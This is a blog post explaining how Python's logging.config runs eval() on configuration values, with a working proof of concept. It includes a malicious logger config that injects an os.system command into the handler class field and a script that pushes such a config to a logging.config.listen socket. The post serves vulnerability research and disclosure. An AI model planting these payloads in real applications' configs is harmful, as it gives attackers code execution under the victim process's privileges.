Python Security “logging.config” code execution

raj3shp
3 min readApr 1, 2022

--

Python’s Security Considerations document lists following about the logging module

logging: Logging configuration uses eval()

eval() is used to evaluate (execute) python expressions which makes it vulnerable to code execution if not used securely. Wondering how to exploit this potential weakness I started out with some Google searches but could not find any proof of concept code. So I decided to write one.

This is one of those low likelihood vulnerabilities where attacker must be able to modify the module configuration. When application loads malicious configuration, code is executed. Such attack is possible if write-access to configuration files is not restricted properly. Additionally, if an application exposes a socket server with logging.config.listen to listen for new configurations, a local attacker may be able to execute code with privileges of the user that is running the process which calls logging.

Looking at the code, eval() is called three times by the _install_handlers() function in logging/config.py . First eval() is called on klass variable. Tracing the code back, cp object passed in_install_handlers() function, represents the configuration object parsed from the configuration file. It is easy to figure out that klass variable is set to value of class attribute of handler configuration in the config file.

def _install_handlers(cp, formatters):
"""Install and return handlers"""
hlist = cp["handlers"]["keys"]
if not len(hlist):
return {}
hlist = hlist.split(",")
hlist = _strip_spaces(hlist)
handlers = {}
fixups = [] #for inter-handler references
for hand in hlist:
section = cp["handler_%s" % hand]
klass = section["class"]
fmt = section.get("formatter", "")
try:
klass = eval(klass, vars(logging))
except (AttributeError, NameError):
klass = _resolve(klass)
args = section.get("args", '()')
args = eval(args, vars(logging))
kwargs = section.get("kwargs", '{}')
kwargs = eval(kwargs, vars(logging))
...

So arbitrary code can be executed by supplying executable code to the handler’s class attribute in the configuration file.

When the application calls logging.config.fileConfig(logging.conf) to load configuration from logging.conf file, it loads the configuration file into a configuration object which is passed to _install_handlers() function in turn executing code.

if isinstance(fname, configparser.RawConfigParser):
cp = fname
else:
cp = configparser.ConfigParser(defaults)
if hasattr(fname, 'readline'):
cp.read_file(fname)
else:
cp.read(fname)

formatters = _create_formatters(cp)

# critical section
logging._acquireLock()
try:
_clearExistingHandlers()

# Handlers add themselves to logging._handlers
handlers = _install_handlers(cp, formatters)
_install_loggers(cp, handlers, disable_existing_loggers)
finally:
logging._releaseLock()

Let’s create a simple proof of concept, consider following python code which is also available on Github:

# app.py
import logging.config

logging.config.fileConfig('bad-logger.conf')
logger = logging.getLogger('simpleExample')

# 'application' code
logger.debug('debug message')

and bad-logger.conf file with sample payload to write output of whoami command to a file called whoami.txt :

[loggers]
keys=root,simpleExample

[handlers]
keys=consoleHandler

[formatters]
keys=simpleFormatter

[logger_root]
level=DEBUG
handlers=consoleHandler

[logger_simpleExample]
level=DEBUG
handlers=consoleHandler
qualname=simpleExample
propagate=0

[handler_consoleHandler]
class=__import__('os').system('whoami > whoami.txt')
level=DEBUG
formatter=simpleFormatter
args=(sys.stdout,)

[formatter_simpleFormatter]
format=%(asctime)s - %(name)s - %(levelname)s - %(message)s

Running python3 app.py will result in an error (since value of class attribute needs to be a callable) but the code will be executed creating whoami.txt file in the working directory.

The next usage of eval() is on args attribute and same trick works by passing a tuple (__import__('os').system('whoami > whoami.txt'),) .

Now let’s consider the scenario where an application exposes a socket server with logging.config.listen to listen for new configurations. Starting out with application code that listens for new logging configurations:

# config-server.pyimport logging.config
import time
logging.config.fileConfig('good-logger.conf')

t = logging.config.listen(9999)
t.start()

logger = logging.getLogger('simpleExample')

try:
while True:
# application code
logger.info('info message')
time.sleep(5)
except KeyboardInterrupt:
# cleanup
logging.config.stopListening()
t.join()

Basically the code above listens on localhost:9999 for new configuration files. An attacker or insider with access to the system running this application can easily send malicious configuration file to this socket server and execute code with higher privileges. Here is a script to do that:

# config-sender.pyimport socket, sys, struct

with open(sys.argv[1], 'rb') as f:
data_to_send = f.read()

HOST = 'localhost'
PORT = 9999
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print('connecting...')
s.connect((HOST, PORT))
print('sending config...')
s.send(struct.pack('>L', len(data_to_send)))
s.send(data_to_send)
s.close()
print('complete')

Run the script and pass malicious configuration file as the argument: python3 config-sender.py bad-logger.conf to execute code with privileges of the user running logging application.

--

--